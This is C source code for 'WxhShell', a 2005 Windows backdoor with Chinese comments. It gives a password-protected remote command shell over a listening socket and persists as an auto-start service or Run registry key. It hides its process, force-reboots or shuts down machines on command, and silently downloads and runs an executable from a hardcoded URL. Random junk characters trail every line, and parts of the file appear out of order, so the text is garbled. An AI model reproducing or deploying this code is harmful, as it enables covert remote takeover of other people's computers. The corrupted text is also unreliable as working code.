  case 'd': { T/%k1Hsa4H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;8]Hw a1!  
    if(Boot(SHUTDOWN)) vl`St$$|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \WUCm.w6\%  
    else { )>rYp )  
    closesocket(wsh); /byF:iYI  
    ExitThread(0); 'oBv(H  
    }  Cb|R  
    break; Py9:(fdS  
    } ZTGsZ}{5   
  // 获取shell #)T'a  
  case 's': { I$TD[W  
    CmdShell(wsh); s,laJf  
    closesocket(wsh); Q."rE"}<  
    ExitThread(0); {v3@g[:|  
    break; MzW!iG  
  } ~vZ1.y4  
  // 退出 TYxi &;w  
  case 'x': { Pl|*+g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e 7Sg-NWV  
    CloseIt(wsh); 'F1<m^  
    break; Hc0V4NHCaL  
    } A~a7/N6s;  
  // 离开 VM3)L>x]/  
  case 'q': { *:chN' <  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >u `Ci>tY  
    closesocket(wsh); Nc(A5*  
    WSACleanup(); %CrpUx  
    exit(1); _2})URU< S  
    break; k a8=`cn  
        } >BMtR0  
  } ~c=*Y=)LG  
  } b Olb  
rN~V^k  
  // 提示信息 ~VF?T~Kr_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )d5mZE!3  
} JkNRXC:  
  } OH5#.${O  
u])MI6LF  
  return; m`,h nDp  
} ?l 0WuU  
Nu; 9  
// shell模块句柄 Z3 na.>Z  
int CmdShell(SOCKET sock) erV&N,cI  
{ aXD|XE%  
STARTUPINFO si; fqm6Pd{:(  
ZeroMemory(&si,sizeof(si)); !;U}ax;AF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I"jub kI=Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WODgG@w  
PROCESS_INFORMATION ProcessInfo; VBu6,6  
char cmdline[]="cmd"; 0mT.J~}1v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qUNXT  
  return 0; p#dYNed]'  
} ^s/f.#'  
0^MRPE|f5  
// 自身启动模式 M`G#cEc  
int StartFromService(void) &Mh]s\  
{ 2CPh'7|l  
typedef struct T "t%>g  
{ SM`n:{N(  
  DWORD ExitStatus; T!H }^v  
  DWORD PebBaseAddress; 4V5h1/JPm  
  DWORD AffinityMask; Nu%MXu+  
  DWORD BasePriority; sTYA  
  ULONG UniqueProcessId; qP[jtRIN  
  ULONG InheritedFromUniqueProcessId; L8KMMYh[  
}   PROCESS_BASIC_INFORMATION; ){i 9,u")  
 u+]8Sq  
PROCNTQSIP NtQueryInformationProcess; s !HOrhV  
L q;=UE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DIc -"5~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Czd)AVK  
^pvnUODW[  
  HANDLE             hProcess; ^{+_PWn  
  PROCESS_BASIC_INFORMATION pbi; <~.1>CI9D3  
k Rp$[^ma  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }$'T=ay&  
  if(NULL == hInst ) return 0; h\OMWJ~  
@w[HXb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bjs{_?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V)Y#m/$`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )m(?U  
<a%RKjQvT  
  if (!NtQueryInformationProcess) return 0; {cAGOxwd  
8<X; 8R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b,RQ" {  
  if(!hProcess) return 0; P?YcZAJT*  
IaR D"oCH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :.f m LL  
xAAwH@ +  
  CloseHandle(hProcess); USyOHHPW@  
69{q*qCW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vHx[:vuq:  
if(hProcess==NULL) return 0; A]s|"Pav,  
^9?IS<N0]  
HMODULE hMod; -Y/c]g  
char procName[255]; 1ihdH1rg[  
unsigned long cbNeeded; $2pkh%  
,9~2#[|lq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t\\`#gc9~i  
Ouc$M2m0!  
  CloseHandle(hProcess); &BJ"T  
%8g1h)F"S  
if(strstr(procName,"services")) return 1; // 以服务启动 r/mKuGa]  
'C<4{agS  
  return 0; // 注册表启动 wy4 }CG  
} *TP>)o  
45tQ$jr`1  
// 主模块 18gApRa  
int StartWxhshell(LPSTR lpCmdLine) O3["5  
{ 4oRDvn7f&  
  SOCKET wsl; UB|}+WA3  
BOOL val=TRUE; nK9?|@S*'  
  int port=0; o",J{  
  struct sockaddr_in door; _ "H&  
Ex}hk!  
  if(wscfg.ws_autoins) Install(); p`06%"#  
Lk1e{! a  
port=atoi(lpCmdLine); v_e3ZA:%  
AqucP@  
if(port<=0) port=wscfg.ws_port; [$%O-_x  
,ftKRq  
  WSADATA data; #hF(`oX}4K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @j=Q$k.GF  
jS| 9jg:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   % *Lv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k^*S3#"  
  door.sin_family = AF_INET; 3/ 0E9'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &Z 6s\r%  
  door.sin_port = htons(port); 6~c:FsZ)  
:[.**,0R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'yR)z\)  
closesocket(wsl); =/MA`>  
return 1; jdAjCy;s!  
} swLrp 74  
8XdgtYm  
  if(listen(wsl,2) == INVALID_SOCKET) { cMp#_\B  
closesocket(wsl); 8a3h)R  
return 1; 6h:2,h pE  
} %{;1i  
  Wxhshell(wsl); 7 HM%Cd  
  WSACleanup(); 7FGi+  
%,Lv},%Y  
return 0; M#;"7Qg  
20A`]-D  
} /m CE=  
sA!$}W  
// 以NT服务方式启动 2c1L[]h'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fm1yZX?`  
{ u+5MrS [  
DWORD   status = 0; OV,t|  
  DWORD   specificError = 0xfffffff; 1 paLxR5  
b .|k j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6w)a.^yx7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xSy`VuSl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P:&X1MC  
  serviceStatus.dwWin32ExitCode     = 0; Bw25+l Px  
  serviceStatus.dwServiceSpecificExitCode = 0; ="J *v>  
  serviceStatus.dwCheckPoint       = 0; YML]pNB  
  serviceStatus.dwWaitHint       = 0; bfX yuv  
u4vyj#V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uJ T^=Y  
  if (hServiceStatusHandle==0) return; @p ZjJ<9QM  
omzG/)M:O  
status = GetLastError(); K2 6`wt  
  if (status!=NO_ERROR) Zi= /w  
{ 1U6 z2i+y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _kXq0~  
    serviceStatus.dwCheckPoint       = 0; K$/&C:,Q  
    serviceStatus.dwWaitHint       = 0; &$g{i:)Z  
    serviceStatus.dwWin32ExitCode     = status; liU8OXBl  
    serviceStatus.dwServiceSpecificExitCode = specificError; &OsO _F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <sli!rv  
    return; y,s`[=CT  
  } h yK&)y?~  
f@Yo]FU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,9Si 3vn  
  serviceStatus.dwCheckPoint       = 0; D1R$s*{  
  serviceStatus.dwWaitHint       = 0; uN8RG_Mb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W.CbNou  
} mLm?yb:  
7!U^?0?/  
// 处理NT服务事件,比如:启动、停止 `i<omZ[aT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vb`R+y@  
{ 75^AO>gt   
switch(fdwControl) <NWq0 3:&  
{ ZXl_cq2r  
case SERVICE_CONTROL_STOP: 2"6bz^>}  
  serviceStatus.dwWin32ExitCode = 0; ]Bj2;<@y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LS]0p#  
  serviceStatus.dwCheckPoint   = 0; sm"s2Ci=}  
  serviceStatus.dwWaitHint     = 0; Q|xa:`3?  
  { * }) W>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7!Qu+R  
  } Z0%:j\W4c  
  return; JIPBJ  
case SERVICE_CONTROL_PAUSE: qWM+!f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5Mz:$5Tm  
  break; N@0cn q:"  
case SERVICE_CONTROL_CONTINUE: ny1;]_X_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pZz\o  
  break; [ylRq7^e  
case SERVICE_CONTROL_INTERROGATE: 7YFEyX10d  
  break; '^)}"sZ@G  
}; ^!fY~(=U4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V]NCFG  
} 2Gh&h(  
lg +>.^7k  
// 标准应用程序主函数 R*/s#*gmL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LU/;` In  
{ jn(%v]  
;SIWWuk  
// 获取操作系统版本 GZ^Qt*5 {  
OsIsNt=GetOsVer(); YPW UncV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XY#.?<"Q8  
ALj~e#{;z  
  // 从命令行安装 BP}@E$  
  if(strpbrk(lpCmdLine,"iI")) Install(); h4#'@%   
1mD)G55Ep  
  // 下载执行文件 dci<Rz`h  
if(wscfg.ws_downexe) { 5th?m>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [ ou$*  
  WinExec(wscfg.ws_filenam,SW_HIDE); y @S_CB 47  
} iX[g  
MU%7'J :_  
if(!OsIsNt) { v7 n@CWnN  
// 如果时win9x,隐藏进程并且设置为注册表启动 F1A40h7R$Y  
HideProc(); 1ktxG1"1  
StartWxhshell(lpCmdLine); $<AaeyR!N  
} Q':hmulT!  
else *YSRZvD<\  
  if(StartFromService()) `Qjs {H  
  // 以服务方式启动 0` .5gxm  
  StartServiceCtrlDispatcher(DispatchTable); L 0oVXmlr  
else |Ve,Y  
  // 普通方式启动 VD< z]@  
  StartWxhshell(lpCmdLine); 2vWn(6`  
Q8MIpa!:  
return 0; 7Ja*T@ !h  
} ;tSA Q  
j+@3.^vK  
AJm$(3?/D  
tv26eK 38  
=========================================== ,J8n}7aI  
^qnmKA>"F  
m7DKC,  
J\P6  
*MB >,HU  
g(Q1d-L4e  
" z_N";Rn  
,yA[XAz~U  
#include <stdio.h> S*$?~4{R  
#include <string.h> {`G d  
#include <windows.h> d$jwh(Ivs  
#include <winsock2.h> }opw_h+/F  
#include <winsvc.h> Ulx]4;uzf  
#include <urlmon.h> fbU3-L?  
lLDZ#'&An  
#pragma comment (lib, "Ws2_32.lib") ] |nW  
#pragma comment (lib, "urlmon.lib") R3;%eyu  
lPI~5N8  
#define MAX_USER   100 // 最大客户端连接数 s M*ay,v;  
#define BUF_SOCK   200 // sock buffer #=={h?UDT  
#define KEY_BUFF   255 // 输入 buffer 9v[V"m`M  
N!Rt040.%  
#define REBOOT     0   // 重启 FF~r&h8H  
#define SHUTDOWN   1   // 关机 eIfQ TV  
-rn6ZSD)  
#define DEF_PORT   5000 // 监听端口 vaGF(hfTA  
N@L{9ak1  
#define REG_LEN     16   // 注册表键长度 e"52'zAV-  
#define SVC_LEN     80   // NT服务名长度 ~7U~   
U(9_&sL  
// 从dll定义API c(e>Rmh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p |1u,N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h='F,r5#2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t`&x.o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8lL|j  
tKeTHj;jO  
// wxhshell配置信息 `/ayg:WSU  
struct WSCFG { uINdeq7|F  
  int ws_port;         // 监听端口 0'fswa)  
  char ws_passstr[REG_LEN]; // 口令 XS">`9o!  
  int ws_autoins;       // 安装标记, 1=yes 0=no kJp~'\b  
  char ws_regname[REG_LEN]; // 注册表键名 tw>2<zmSi%  
  char ws_svcname[REG_LEN]; // 服务名 {X&lgj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 80wzn,o S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &8z<~q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d.^g#&h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (XQuRL<X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6:O<k2=2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }}{n|l+R5  
8v4 o+w P  
}; #5Z`Q^  
X 3$ W60Q  
// default Wxhshell configuration > 'hM"4f  
struct WSCFG wscfg={DEF_PORT, 6eB;  
    "xuhuanlingzhe", CMaph  
    1, 52dD(  
    "Wxhshell", ylKK!vRHT  
    "Wxhshell", v$W[(  
            "WxhShell Service", J6AHc"k.  
    "Wrsky Windows CmdShell Service", `(sb  
    "Please Input Your Password: ", R<Lf>p>_  
  1, `daqzn  
  "http://www.wrsky.com/wxhshell.exe", odsFgh  
  "Wxhshell.exe" AQg|lKv  
    }; m|;(0 rft  
-juG[zn  
// 消息定义模块 uv27Vos  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .mt%8GM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |zYOCDFf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o)/Pr7Qn  
char *msg_ws_ext="\n\rExit."; 4=xi)qF/@  
char *msg_ws_end="\n\rQuit."; kkF)Tro\  
char *msg_ws_boot="\n\rReboot..."; ]:59c{O  
char *msg_ws_poff="\n\rShutdown..."; ^ RA'E@ "  
char *msg_ws_down="\n\rSave to "; rNii,_  
FM >ae-L-  
char *msg_ws_err="\n\rErr!"; [d6!  
char *msg_ws_ok="\n\rOK!"; b}3"v(  
e "A"  
char ExeFile[MAX_PATH]; qk1jmr  
int nUser = 0; `za,sRFR  
HANDLE handles[MAX_USER]; Sw\*$g]  
int OsIsNt; $'4 98%K2  
t'v t'[~,U  
SERVICE_STATUS       serviceStatus; 0jf6 z-4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \ ;npdFy  
,vJt!}}  
// 函数声明 HYmC3  
int Install(void); l%0bF9\  
int Uninstall(void); " B#|C'   
int DownloadFile(char *sURL, SOCKET wsh); QO/0VB42  
int Boot(int flag); 50W+!'  
void HideProc(void); ["Ltqgx  
int GetOsVer(void); 2T~cOH;T  
int Wxhshell(SOCKET wsl); CWn\K R  
void TalkWithClient(void *cs); sUZA!sv  
int CmdShell(SOCKET sock); EiL#Dwx  
int StartFromService(void); xc:E>-  
int StartWxhshell(LPSTR lpCmdLine); PgWWa*Ew  
9CY{}g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #) aLD0p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YAr6 cl  
xH-d<Ht,7  
// 数据结构和表定义 *1b|j|5v  
SERVICE_TABLE_ENTRY DispatchTable[] = 9=%zdz2_S  
{ BBB@M  
{wscfg.ws_svcname, NTServiceMain}, vk& gR  
{NULL, NULL} {LO Pm1K8Y  
}; z-5`6aE9<  
tnRf!A;m  
// 自我安装 oJz2-P mX  
int Install(void) n|w+08c"  
{ 1F^Q*t{  
  char svExeFile[MAX_PATH]; 9-KhJq%  
  HKEY key; $YL9 vJV  
  strcpy(svExeFile,ExeFile); I&;>(@K  
.f\LzZ-I:  
// 如果是win9x系统,修改注册表设为自启动 .Pc>1#z&[  
if(!OsIsNt) { t4WB^dHYp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5p;AON  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'o >)E>  
  RegCloseKey(key); K}~$h,n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zX>W 8P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >lQo _p(;  
  RegCloseKey(key); 1- KNXGb'  
  return 0; KA5)]UF`l  
    } gg'1q3OjM  
  } ~VGnE:  
} kQ`tY`3F  
else { LKIMT  
=3e7n2N)  
// 如果是NT以上系统,安装为系统服务 " O&93#8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q`ua9oIJ=  
if (schSCManager!=0) ^SdF\uk{?6  
{ T*z]<0E]  
  SC_HANDLE schService = CreateService Xwm3# o.&)  
  ( l!mbpFt  
  schSCManager, Z'z)Oo  
  wscfg.ws_svcname, rbw$=bX}  
  wscfg.ws_svcdisp, )g0lI  
  SERVICE_ALL_ACCESS, `fu_){  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m&.LJ*uM\K  
  SERVICE_AUTO_START, I{Zb/}k-  
  SERVICE_ERROR_NORMAL, RLmOg{L  
  svExeFile, WE<?y_0y&  
  NULL, i"2OsGT  
  NULL, "TV'}HH  
  NULL, 4CNrIF@  
  NULL, D*XrK0#Z`  
  NULL QQ*sjK.(  
  ); J1?;'  
  if (schService!=0) 2"Os9 KD  
  { ^9g$/8[^c_  
  CloseServiceHandle(schService); z;c>Q\Q  
  CloseServiceHandle(schSCManager); b$G{^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FaL\6w  
  strcat(svExeFile,wscfg.ws_svcname); 1 ^~&"s U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bjZJP\6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 067c/ c  
  RegCloseKey(key); _Cmmx`ln  
  return 0; "[bkdL<  
    } L$ZjMJ  
  } eA/n.V$z  
  CloseServiceHandle(schSCManager); $@g]?*L:  
} ~6[?=mOi'  
} p@ <Q?  
&OMlW _FHR  
return 1; V>@[\N[  
} U&!TA(Yr  
j#NyNv(jE1  
// 自我卸载 @CMI$}!{V  
int Uninstall(void) =~#mF<z5  
{ j{@O %fv=  
  HKEY key; !NXjax\r  
$%<{zWQm  
if(!OsIsNt) { %go2tv:|W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )H8_.]|  
  RegDeleteValue(key,wscfg.ws_regname); ;Rrh$Ag  
  RegCloseKey(key); P}bIp+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LCF}Y{  
  RegDeleteValue(key,wscfg.ws_regname);  j]u!;]  
  RegCloseKey(key); \Z-th,t  
  return 0; y7Po$)8l  
  } !b8V&<  
} F'bwXb**  
} }K{1Bm@S  
else { i Ha?b2=)  
=u.@W98, K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XlmX3RU  
if (schSCManager!=0) ~# -?V[  
{ a)_3r]sv^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m4:c$5  
  if (schService!=0)  ~?ab_CY  
  { ^7gGtz2  
  if(DeleteService(schService)!=0) { zj 6I:Q r  
  CloseServiceHandle(schService); fPR_ 3qgQ  
  CloseServiceHandle(schSCManager); @Jt$92i5PS  
  return 0; -JW~_Q[  
  } S}6Ld(_  
  CloseServiceHandle(schService);  5NU{y+  
  } Ln"wj O ,  
  CloseServiceHandle(schSCManager); ;kFD769DLw  
} ClG%zE&i  
} 2qMiX|Y  
inP2y?j  
return 1; #M,&g{  
} inh0p^  
u'YXI="(  
// 从指定url下载文件 |z-f 8$  
int DownloadFile(char *sURL, SOCKET wsh) Y:^hd809  
{ Hon2;-:]{]  
  HRESULT hr; |'^s3i&w  
char seps[]= "/"; %iyc1]w{  
char *token; 1\}vU  
char *file; F O!Td  
char myURL[MAX_PATH]; A*JOp8\)  
char myFILE[MAX_PATH]; /{T&l*'  
iaGA9l<b  
strcpy(myURL,sURL); j=WxtMS  
  token=strtok(myURL,seps); coP->&(@U#  
  while(token!=NULL) i:lc]B  
  { 0PzSp ]  
    file=token; qu=~\t1[6  
  token=strtok(NULL,seps); Jo?LPR \6  
  } !xs}CxEyA  
/MZ<vnN7f  
GetCurrentDirectory(MAX_PATH,myFILE); 2Q^ q$@L  
strcat(myFILE, "\\"); i7x&[b  
strcat(myFILE, file); "LBMpgpU  
  send(wsh,myFILE,strlen(myFILE),0); 0~|0D#klB  
send(wsh,"...",3,0); aLk3Yg@X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m#"_x{oa  
  if(hr==S_OK) 0'^M}&zCi  
return 0; <Q[%:LD  
else  3Y#Q'r?  
return 1; `3TR`,=  
9~SPoR/_0  
} _O`prX.:B0  
{X!vb  
// 系统电源模块 )CGQ}  
int Boot(int flag) =RoE=) 1&-  
{ `<XS5h h=  
  HANDLE hToken; xfk -Ezv  
  TOKEN_PRIVILEGES tkp; Yuv(4a<M%  
tXE/aY*I  
  if(OsIsNt) { dOjly,!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); { FJMc O=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l`v5e"V  
    tkp.PrivilegeCount = 1; LjKxznn o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U[ ]yN.J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x]^d'o:cDP  
if(flag==REBOOT) { L]Tj]u)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >6es 5}  
  return 0; @iz Onc:  
} fu7x,b0p  
else { ^ u$gO3D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bm~^d7;Cw  
  return 0; mnt&!X4<  
} b(Y   
  } 9z,sn#-t  
  else { O4rjGTRF  
if(flag==REBOOT) { &4Z8df!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c <TEA  
  return 0; Ha v&vV  
} 7qC /a c  
else { gS(3m_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CL<-3y*  
  return 0; GSA+A7sZ  
} :ez76oGyc  
} [R]V4Hb  
r O87V!Cj  
return 1; rwWOhD)RU  
} :Drf]D(sMX  
P~7(x7/7~  
// win9x进程隐藏模块 lMv6QL\>'  
void HideProc(void) _Sjj|j  
{ vfSPgUB)  
,='Ihi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VL#:oyWA  
  if ( hKernel != NULL ) z,Xj$wl  
  { I:dUHN+@L5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &A:&2sP8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Dj/Hz\  
    FreeLibrary(hKernel); a1,)1y~  
  }  ?K-4T  
PKlR_#EB?  
return; 1^_W[+<S/  
} >~g-  
%! ` %21  
// 获取操作系统版本 O%t? -h  
int GetOsVer(void) = MByD&o`  
{ 5;`Ot2  
  OSVERSIONINFO winfo; kEh9J>|M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QL0q/S1*  
  GetVersionEx(&winfo); |s /)lA:9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %YVPm*J ~  
  return 1; fR1L VLU  
  else b>5* G1  
  return 0; D;sG9Hky  
} 0hY3vBQ!  
yp~z-aRa  
// 客户端句柄模块 ~n -N  
int Wxhshell(SOCKET wsl) >VhZv75  
{ rB J`=oz  
  SOCKET wsh; Xl=RaV^X"  
  struct sockaddr_in client; $YJ 1P  
  DWORD myID; O 0}uY:B  
7\@c1e*e  
  while(nUser<MAX_USER) IlJ"t`Z9)  
{ :1d;jx>  
  int nSize=sizeof(client); <gPM/ 4$G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k7uX!}  
  if(wsh==INVALID_SOCKET) return 1; ~,,r\Y+  
rDl/R^w"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ll__A|JQ  
if(handles[nUser]==0) B9l~Y/3|  
  closesocket(wsh); m{oe|UVcmr  
else (~Z&U  
  nUser++; [l=@b4Og  
  } E"}%$=yK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nLL2/!'n  
Q7amp:JFb  
  return 0; i59 }6u_f  
} -|x7<$Hw  
-.Wwo(4  
// 关闭 socket drpx"d[c  
void CloseIt(SOCKET wsh) =LGM[Z3$s  
{ Vc0j)3  
closesocket(wsh); Z71_D  
nUser--; {~&]  
ExitThread(0); IlF_g`  
} Zl[EpXlZ  
"tT4Cb3  
// 客户端请求句柄 PU%Zay  
void TalkWithClient(void *cs) R(t%/Hvs$  
{ vdXi'<  
,`U>BBBLv  
  SOCKET wsh=(SOCKET)cs;  /$93#$  
  char pwd[SVC_LEN]; 7!qeIz  
  char cmd[KEY_BUFF]; a<*+rGI  
char chr[1]; '*[7O2\%/  
int i,j; 5NkF_&S_1  
eP (*.  
  while (nUser < MAX_USER) { q AVypP?J  
|>P:R4P  
if(wscfg.ws_passstr) { [ `|t(E'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /#5rt&q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I!b"Rv=Nf-  
  //ZeroMemory(pwd,KEY_BUFF); ju:}%'  
      i=0; / 1TK+E$  
  while(i<SVC_LEN) { Dj= {%  
: xg J2  
  // 设置超时 ;\"5)S  
  fd_set FdRead; 5%wA"_  
  struct timeval TimeOut; 9t`yv@.>N  
  FD_ZERO(&FdRead); ty[%:eG#  
  FD_SET(wsh,&FdRead); Ud"_[JtGM  
  TimeOut.tv_sec=8; <|'ETqP<+  
  TimeOut.tv_usec=0; mR2"dq;U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #Br`;hL<T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (4z_2a(Dl,  
=f@71D1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2cu2S"r  
  pwd=chr[0]; =H: N!!:  
  if(chr[0]==0xd || chr[0]==0xa) { Obu 6k[BE.  
  pwd=0; =2*2 $  
  break; _e8Gt6>  
  } nUs=PD3)  
  i++; &n]v  
    } BZOl&G(  
Z9H2! Cp  
  // 如果是非法用户,关闭 socket ^0"fPG`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GRpwEfG  
} nYC.zc*ox  
Z$i?p;HnW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n=f?Q=h\3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?gu!P:lZS  
GQ85ykky  
while(1) { E Id>%0s5  
Yq/vym-O5  
  ZeroMemory(cmd,KEY_BUFF); Gqq< -drR  
%/)z!}{  
      // 自动支持客户端 telnet标准   A+Bq5mik  
  j=0; J*ofa>  
  while(j<KEY_BUFF) { lX.1B&T9Lr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (gdzgLHy  
  cmd[j]=chr[0]; UQI!/6F  
  if(chr[0]==0xa || chr[0]==0xd) { RYl{89  
  cmd[j]=0; cEXd#TlY~X  
  break; 1C=42ZZ&2  
  } ^^V+0 l  
  j++; EGRIhnED#  
    } @<OsTF L  
-0'< 7FSQ  
  // 下载文件 @6[aLF]F  
  if(strstr(cmd,"http://")) { aR)UHxvX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *?Oh%.HgF  
  if(DownloadFile(cmd,wsh)) Mu.tq~b >  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e\#aQ1?"  
  else ?(khoL t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Gj%-5G  
  } lq 1223  
